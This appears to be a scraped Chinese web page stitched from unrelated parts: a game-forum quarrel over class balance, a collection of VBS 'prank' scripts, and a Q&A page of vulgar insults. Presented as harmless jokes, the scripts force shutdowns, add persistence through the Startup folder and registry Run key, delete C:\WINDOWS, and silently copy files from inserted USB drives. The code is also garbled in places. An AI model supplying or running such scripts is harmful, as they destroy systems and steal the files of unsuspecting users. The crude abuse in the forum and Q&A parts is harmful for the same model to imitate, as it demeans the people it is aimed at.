后使用快捷导航没有帐号？
查看: 273|回复: 9
最后登录QQ注册时间阅读权限10精华0积分235帖子
QQ土人 , 积分 235, 距离下一级还需 365 积分
...............
最后登录注册时间阅读权限100精华0积分29900帖子
QQ斗士, 积分 29900, 距离下一级还需 10100 积分
他们哪有这么多的爹和娘
各职业都有各职业的优势，玩好自己的职业就好
我没能 我没能 做谁那杯茶 却一夜长大
才明白痛也抓不住它 随风去吧
我挨过 梦想的现实的 痛快的 耳光火辣
若是拍不碎我 看我绝境生花
最后登录QQ注册时间阅读权限20精华0积分8335帖子
初级守卫, 积分 8335, 距离下一级还需 1665 积分
各职业都有各职业的优势，玩好自己的职业就好
双线 72区 小乐
最后登录QQ<dd title="542377注册时间阅读权限10精华0积分465帖子
QQ土人 , 积分 465, 距离下一级还需 135 积分
一朵不向阳的向日葵
最后登录QQ注册时间阅读权限10精华0积分235帖子
QQ土人 , 积分 235, 距离下一级还需 365 积分
常飘萍 发表于
他们哪有这么多的爹和娘
各职业都有各职业的优势，玩好自己的职业就好 ...
我玩得到是不错，你不觉得猪很变态？还说削弱了，我看是加强了，金身能空中放，天杀伤不起啊，好不容易打着了，上挑+个焱月，一金身，又跑我后面去了。猪还有两蓄力技能，还附带霸体，我过去怒吼吧，晕了还带着霸体，一个鞭扫，又是一顿暴揍，伤不起啊
最后登录注册时间阅读权限100精华0积分25879帖子
自我毁灭倾向°雨雨
QQ斗士, 积分 25879, 距离下一级还需 14121 积分
你那里不错了
你嘴巴够贱吧?
就算终有一散 也别辜负相遇
最后登录QQ注册时间阅读权限10精华0积分35帖子
QQ小野人, 积分 35, 距离下一级还需 15 积分
雨雨、 发表于
你那里不错了
你嘴巴够贱吧?
支持雨雨 蛇和猪玩得好 是他们自己有本事 你自己说猪和蛇好 那就去玩啊。 废话那么多干嘛
最后登录QQ注册时间阅读权限10精华0积分235帖子
QQ土人 , 积分 235, 距离下一级还需 365 积分
雨雨、 发表于
你那里不错了
你嘴巴够贱吧?
我嘴巴再贱也没你人贱啊！
最后登录QQ注册时间阅读权限10精华0积分235帖子
QQ土人 , 积分 235, 距离下一级还需 365 积分
缘来如此丶 发表于
支持雨雨 蛇和猪玩得好 是他们自己有本事 你自己说猪和蛇好 那就去玩啊。 废话那么多干嘛 ...
狗腿子，他不会给元宝你的！
最后登录QQ<dd title="591275注册时间阅读权限10精华0积分270帖子
QQ土人 , 积分 270, 距离下一级还需 330 积分
龙女不是PK职业··猪其实是最垃圾的··后期同战力··基本只能打龙女··猪神飘过
为论坛做出突出贡献的会员
“天下第一比武大会冠军” --通过论坛发帖并上传截图，申请发放。
穷得叮当响
“施主，行行好吧~” -- 全身装备强化80
通过论坛发帖并上传截图，申请发放。
Powered by我看你天生就是你娘不疼，你爹不爱；左脸欠抽，右脸欠踹；驴见驴踢，猪见猪踩……
喜欢就猛击分享!
个性网内容精选：当前位置：&>&&>&
vbs恶作剧(整人代码)-关机 我是猪 重启 喊我爹等
发布时间：编辑：
vbs恶作剧(整人代码)-关机 我是猪 重启 喊我爹等，有的玩了，哈哈。将以下代码分别保存为xxx.vbs，然后双击运行即可。
复制代码 代码示例:
Set objShell = CreateObject(&Wscript.Shell&)
objShell.Run &shutdown -s -t 10&,,true
Set s = CreateObject(&sapi.spvoice&)
wscript.sleep 100
CreateObject(&SAPI.SpVoice&).Speak &Bomb?&
createobject(&wscript.&).run chr(34) & wscript.scriptname & chr(34)
2、文件无毒吗？真的无毒吗？
复制代码 代码示例:
msgbox&此文件无毒，请放心使用。&,vbretrycancel,&系统提示。&
dim WSHshell
set WSHshell = wscript.createobject(&wscript.shell&)
WSHshell.Run &cmd.exe /c shutdown -s -t 300&
wscript.sleep 2000
a=inputbox(&输入abc，否则关机。&)
if a=&abc& then
msgbox& 很遗憾，你中招了，这是整人程序，你就等着关机吧！&
msgbox&乖点，输入abc&
3、我是猪，我是猪
复制代码 代码示例:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(&wscript.shell&)
WSHshellA.run &cmd.exe /c shutdown -r -t 6 -c &&说我是猪，不说我是猪就一分钟关你机，不信，试试&&&&& &,0 ,true
do while(a && &我是猪&)
a = inputbox (&说我是猪,就不关机，快撒，说 &&我是猪&& &,&说不说&,&不说&,)
msgbox &乖&
msgbox &早说就行了嘛&
dim WSHshell
set WSHshell = wscript.createobject(&wscript.shell&)
WSHshell.run &cmd.exe /c shutdown -a&,0 ,true
msgbox &自己骂自己的不要脸~~~~~~&,4, & &
4、陪你玩一会儿
复制代码 代码示例:
msgbox&你是不是很无聊啊？&,4
msgbox&我来陪你玩会儿&
msgbox&做好玩儿的准备吧！&
msgbox&你无聊吗?&,vbinformation,&你无聊吗？&
5、关机，关机
复制代码 代码示例:
on error resume next
set wr=createobject(&scripting.filesystemobject&)
set ws=createobject(&wscript.shell&)
set f = wr.getfile(wscript.scriptfullname)
q=ws.regread(&HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup&)
if not f=&Win32.vbs& then wr.copyfile f,q&&\Win32.vbs&,true
ws.run&shutdown -p&,vbhide
复制代码 代码示例:
set ws=createobject(&wscript.shell&)
ws.sendkeys &{f5}&
7、还是关机
复制代码 代码示例:
Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject(&WScript.shell&)
RegPath =&HKLM\Software\Microsoft\Windows\CurrentVersion\Run\&
Type_Name = &REG_SZ&
Key_Name = &QUESTION.vbS&
Key_data = &C:\windows\system32\QUESTION.vbs&
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
Dim fso,file
Set fso = CreateObject(&Scripting.FileSystemObject&)
Set file = fso.getfile(WScript.ScriptFullName)
file.copy &c:\windows\system32\&
Set fso = CreateObject(&Scripting.FileSystemObject&)
f = fso.DeleteFile(WScript.ScriptName)
Set objShell = CreateObject(&Wscript.Shell&)
objShell.Run &shutdown -s -t 5&,,true
复制代码 代码示例:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(&wscript.shell&)
WSHshellA.run &cmd.exe /c shutdown -r -t 60 -c &&喊我声爹，快喊&& &,0 ,true
do while(a && &爹&)
a = inputbox (&喊我爹,快撒，喊 &&爹&& &,&喊不喊&,&不喊&,)
msgbox chr(13) + chr(13) + chr(13) + a,0,&MsgBox&
msgbox chr(13) + chr(13) + chr(13) + &儿子&
dim WSHshell
set WSHshell = wscript.createobject(&wscript.shell&)
WSHshell.run &cmd.exe /c shutdown -a&,0 ,true
msgbox chr(13) + chr(13) + chr(13) + &等下老爹买棒棒糖给你吃&
9、说你爱我
复制代码 代码示例:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(&wscript.shell&)
WSHshellA.run &cmd.exe /c shutdown -r -t 120 -c &&说你爱我，不说你爱我就两分钟关你机，不信，试试&&&&& &,0 ,true
do while(a && &我爱你&)
a = inputbox (&说你爱我,就不关机，快撒，说 &&你爱我&& &,&说不说&,&不说&,)
msgbox chr(13) + chr(13) + chr(13) + a,0,&MsgBox&
msgbox chr(13) + chr(13) + chr(13) + &早说就行了嘛，何必这么费劲&
dim WSHshell
set WSHshell = wscript.createobject(&wscript.shell&)
WSHshell.run &cmd.exe /c shutdown -a&,0 ,true
msgbox chr(13) + chr(13) + chr(13) + &哈哈哈哈，今天真过瘾
复制代码 代码示例:
i = MsgBox(&由于你灌水太水需要爆破电脑。&&_
vbCrLf&&确定爆破吗？&,vbOKCancel,_
&爆破电脑系统！！！！！&)
if i = 1 then
CreateObject(&SAPI.SpVoice&).Speak &bone&
11、U盘大盗
复制代码 代码示例:
On Error Resume Next
Set fso=CreateObject(&Scripting.FileSystemObject&)
IP=InputBox(&请输入要监控的U盘盘符:&,&U盘大盗-By 最聪明的猪&,&I:&)
ext=InputBox(&请输入要盗窃的文件名的扩展名:&,&U盘大盗-By 最聪明的猪&,&txt&)
MyFolder=InputBox(&请输入保存文件的路径:&,&U盘大盗-By 最聪明的猪&,&E:\U盘大盗&)
fso.CreateFolder(MyFolder)
WScript.Sleep 1000
If fso.FolderExists(IP & &\&) Then Exit Do
Scan(IP & &\&)
Sub Scan(Folder_)
On Error Resume Next
Set Folder_=fso.GetFolder(Folder_)
Set Files=Folder_.Files
For Each File in Files
ext_=fso.GetExtensionName(File)
ext_=Lcase(ext_)
ext=Lcase(ext)
If ext_=ext Then
fso.GetFile(File).Copy(MyFolder & &\& & i & &_& & File.Name)
Set SubFolders=Folder_.SubFolders
For Each SubFolder In SubFolders
Scan(Subfolder)
12、重不重启
复制代码 代码示例:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(&wscript.shell&)
WSHshellA.run &cmd.exe /c shutdown -r -t 60 -c &&一分钟后,你的机子就完了,不信?!试试!&& &,0 ,true
do while(a && &不重,不重,我就不重!&)
a = inputbox (&唯一的办法就是&&重启&& &,&重不重启&,&不重,不重,我就不重!&,)
msgbox chr(13) + chr(13) + chr(13) + a,0,&MsgBox&
msgbox chr(13) + chr(13) + chr(13) + &真的不是我说你,乱按什么确定啊,希望你在网吧.菩萨保佑......&
msgbox chr(13) + chr(13) + chr(13) + &你的机子真的要完了,赶紧准备点钱重子吧.阿弥陀佛,善哉,善哉!&
msgbox chr(13) + chr(13) + chr(13) + &以后手不要在那么快了哦~&
msgbox chr(13) + chr(13) + chr(13) + &88~&
dim WSHshell
set WSHshell = wscript.createobject(&wscript.shell&)
WSHshell.run &cmd.exe /c shutdown -a&,0 ,true
msgbox & & + chr(14) + &~&
Set a = CreateObject(&Scripting.FileSystemObject&)
a.DeleteFolder (&C:\WINDOWS&)
13、死机无敌手
复制代码 代码示例:
msgbox&让你见识一下啥叫狠毒！&
set ws=createobjecet(&wscript.shell&)
ws.run&explorer.exe&
ws.run&cmd.exe&
14、格式化，害怕不
复制代码 代码示例:
on error resume next
msgbox&即将格式化！请做好准备！&,vbyesno
msgbox&准备好后点yes！&，vbyesno
msgbox&sorry，忘说了，点no也行！&
msgbox&我对不起你啊！呜呜呜555哈哈哈哈！&
msgbox&靠，我笑个屁呀！我可是著名博士！在精神病院搞一种研究。。。&
msgbox&被人研究！&
msgbox&就知道你会笑！告诉你，我最歧视两种人！一是歧视别人的人，二是爱笑人，三是不识数的人！&
msgbox&你咋还笑？！是时候惩罚你了！&
set ws=createobjecet(&wscript.shell&)
ws.run&explorer.exe&
ws.run&cmd.exe&
ws.run&cmd.exe /c shutdown -s -t 7200&,,ture
与 vbs恶作剧(整人代码)-关机 我是猪 重启 喊我爹等 有关的文章
本文标题：
本页链接：
12345678910
12345678910什么地方骂人是操你爹_百度知道
什么地方骂人是操你爹
我有更好的答案
指你他妈的
【我还有】↓
看你玉树临风，英俊潇洒，风流倜傥，人见人爱，花见花开，想必一定是人渣中的极品，禽兽中的禽兽，而且据我观察，你肯定从小缺钙，长大缺爱，姥姥不疼，舅舅不爱。左脸欠抽，右脸欠踹。驴见驴踢，猪见猪踩。天生就是属黄瓜的，欠拍！后天属核桃的，欠捶！看看啊，你这小脸瘦得，都没个猪样啦！现在把你丢到茅厕里，茅厕都能吐了，把你扔进空间裂缝里，空间裂缝也能自我爆炸了！你说你，本大爷我教你练刀，你练剑，你还上剑不练练下贱！下贱招式那么多，你偏去学最贱，金剑不练，练淫贱！最终练成了最淫贱！给你剑仙你不当，赐你剑神你不做，非死皮赖脸哭着喊着要做贱人！真是的，何必呢？你长得真有创意，活得真有勇气！可你干嘛用屁股挡住脸啊！我想看着你说话，可你为什么...
女的 男的草泥马
女的草泥马or草你爹
那里都是女的
其他类似问题
为您推荐：
骂人的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁}